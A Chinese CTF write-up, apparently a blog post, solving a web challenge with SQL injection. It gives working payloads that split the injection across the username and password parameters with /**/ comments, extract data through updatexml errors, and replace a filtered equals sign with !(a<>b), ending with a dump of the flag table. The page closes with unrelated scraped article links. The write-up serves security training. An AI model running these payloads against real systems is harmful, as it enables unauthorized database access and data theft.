实验吧web加了料的报错注入
知识点:
SQL注入中用到的Concat函数详解 http://www.sohu.com/a/219966085_689961
http分割注入

直接根据提示,提交post请求的用户名和密码

结果显示

换成 username=1'&password=1

就说我有sql语法错误,说明这题是要考虑sql注入的,然后然后用burpsuite检测许多sql相关的词,看哪些词被过滤了
bp爆破测试教程可以参考这一篇https://blog.csdn.net/weixin_38948797/article/details/79111566
查看测试的结果:# = union select等这几个都是报错‘Sql injection detected’说明都被过滤了
看一下网页源码

介于这个情况,还有源码中的提示是这样一整句的查询
故而我们考虑用http分割注入,这个形式便是把一个想执行的语句,拆散到两个参数里,并注释中间的东西,来达到注入的目的
记得我们得知的SQL语句格式嘛? where username='???' and password='???' 而sql语句中可以使用/**/注释掉中间的SQL语句。也就是说,我们可以使用/**/来解决这个问题,而且/**/也没有被吃掉,这叫做HTTP分割注入。
对经常使用的报错注入函数updatexml进行测试。在密码中禁止对updatexml的使用,但是用户名并没有禁止。因此通过updatexml在存储非XPath格式的字符串时的报错输出获得所需要的信息。
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml在username中可用,而在password中被过滤了,现在还有一个问题,等号‘=’不让用,我们这里告诉一个操作:<>在sql中表示不等于,再在前面加个!就能起到等号的作用了
(1)函数库名
username=1' or updatexml/*&password=*/(1,concat(0x7e,(select database()),0x7e),1) or '1

(2)表名
username=1' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf')),0x7e),1) or '1

(3)字段
username=1' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj')),0x7e),1) or '1

(4)内容
username=1' or updatexml/*&password=*/(1,concat(0x7e,(select value from ffll44jj),0x7e),1)or '1

参考了https://blog.csdn.net/qq_41618162/article/details/81783298
实验吧web加了料的报错注入的更多相关文章
- 实验吧——加了料的报错注入(exp报错注入)
题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php 先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询 测试了一个报错函数发现如下回显, ...
- Java Web项目(Extjs)报错五
1. Java Web项目(Extjs)报错五 具体报错如下: usage: java org.apache.catalina.startup.Catalina [ -config {pathname ...
- Java Web项目(Extjs)报错四
1.Java Web项目(Extjs)报错四 具体报错如下: usage: java org.apache.catalina.startup.Catalina [ -config {pathname} ...
- Java Web项目(Extjs)报错三
1. Java Web项目(Extjs)报错三 具体报错如下: at org.jbpm.pvm.internal.processengine.SpringHelper.createProcessEng ...
- Java Web项目(Extjs)报错二
1.Java Web项目(Extjs)报错二 具体报错如下: usage: java org.apache.catalina.startup.Catalina [ -config {pathname} ...
- Java Web项目(Extjs)报错九
1.Java Web项目(Extjs)报错九 具体报错如下: 三月 26, 2014 11:48:35 下午 org.hibernate.util.JDBCExceptionReporter logE ...
- Java Web项目(Extjs)报错八
1.Java Web项目(Extjs)报错八 具体报错如下: org.springframework.dao.DataIntegrityViolationException: Could not ex ...
- Java Web项目(Extjs)报错七
1.Java Web项目(Extjs)报错七 具体报错如下:
- Java Web项目(Extjs)报错六
1.Java Web项目(Extjs)报错六 具体报错如下: usage: java org.apache.catalina.startup.Catalina [ -config {pathname} ...
随机推荐
- gdb可视化工具gdbgui
gdbgui是一款很强大的gdb可视化工具,基于浏览器调试很方便.后台是python写的,目前使用起来还有些bug,不过已经很满足了. 官网 https://gdbgui.com Github htt ...
- windows时间同步脚本
#!/usr/bin/env python# -*- coding:UTF-8 -*-# 脚本用于windows时间同步,设置window计划任务每五分钟执行一次 import timeimport ...
- 智能指针之auto_ptr和scoped_ptr
部分参考地址https://blog.csdn.net/yanglingwell/article/details/56011576 auto_ptr是c++标准库里的智能指针,但是具有以下几个明显的缺 ...
- 折腾apt源的时候发生的错误
在折腾Ubuntu源的时候,把新的源替换进去,然后 sudo apt-get update 之后报错: W: Unknown Multi-Arch type 'no' for package 'com ...
- GCD学习(五) dispatch_barrier_async
先看段代码 dispatch_queue_t concurrentQueue = dispatch_queue_create("my.concurrent.queue", DISP ...
- BZOJ4887:[TJOI2017]可乐(矩阵乘法)
Description 加里敦星球的人们特别喜欢喝可乐.因而,他们的敌对星球研发出了一个可乐机器人,并且 放在了加里敦星球的1号城市上.这个可乐机器人有三种行为:停在原地,去下一个相邻的 城市,自爆. ...
- BZOJ2431:[HAOI2009]逆序对数列(DP,差分)
Description 对于一个数列{ai},如果有i<j且ai>aj,那么我们称ai与aj为一对逆序对数.若对于任意一个由1~n自然数组成的 数列,可以很容易求出有多少个逆序对数.那么逆 ...
- WMIC_2
- select下拉框之默认选项清空
最近和小伙伴发现,select默认选项一般是提示信息,怎么才能让当我们点击下拉框时,可选的选项中没有默认的提示信息呢? 思路: 1.当点击下拉框时,让默认提示信息,即下拉框第一个选项移除. 2.当没有 ...
- requireJS使用教程
一:为什么要使用requireJS? 很久之前,我们所有的JS文件写到一个js文件里面去进行加载,但是当业务越来越复杂的时候,需要分成多个JS文件进行加载,比如在页面中head内分别引入a.js,b. ...